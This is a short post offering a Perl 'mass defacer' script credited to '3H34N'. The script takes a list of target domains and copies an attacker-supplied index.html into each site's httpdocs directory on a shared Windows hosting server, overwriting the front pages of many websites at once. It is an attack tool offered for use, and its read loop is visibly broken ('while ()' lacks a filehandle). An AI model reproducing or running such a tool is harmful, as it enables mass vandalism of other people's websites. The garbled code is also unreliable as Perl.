Perl Manual Mass Defacer

[sQuo]

>
#!/usr/bin/perl
#Code By 3H34N

use File::Copy;

open (MYFILE, 'list_of_targets.txt') or die "$!";
while () {
  chomp;
  print " destination is $_\n";
  my $srcdir = "index.html";
  my $dest = "D:/inetpub/vhosts/$_/httpdocs/";
  copy($srcdir, $dest) or die "Copy $srcdir -> $dest failed: $!";
  print "\n\n****** file copied *******\n";
  sleep 2;
}
close(MYFILE);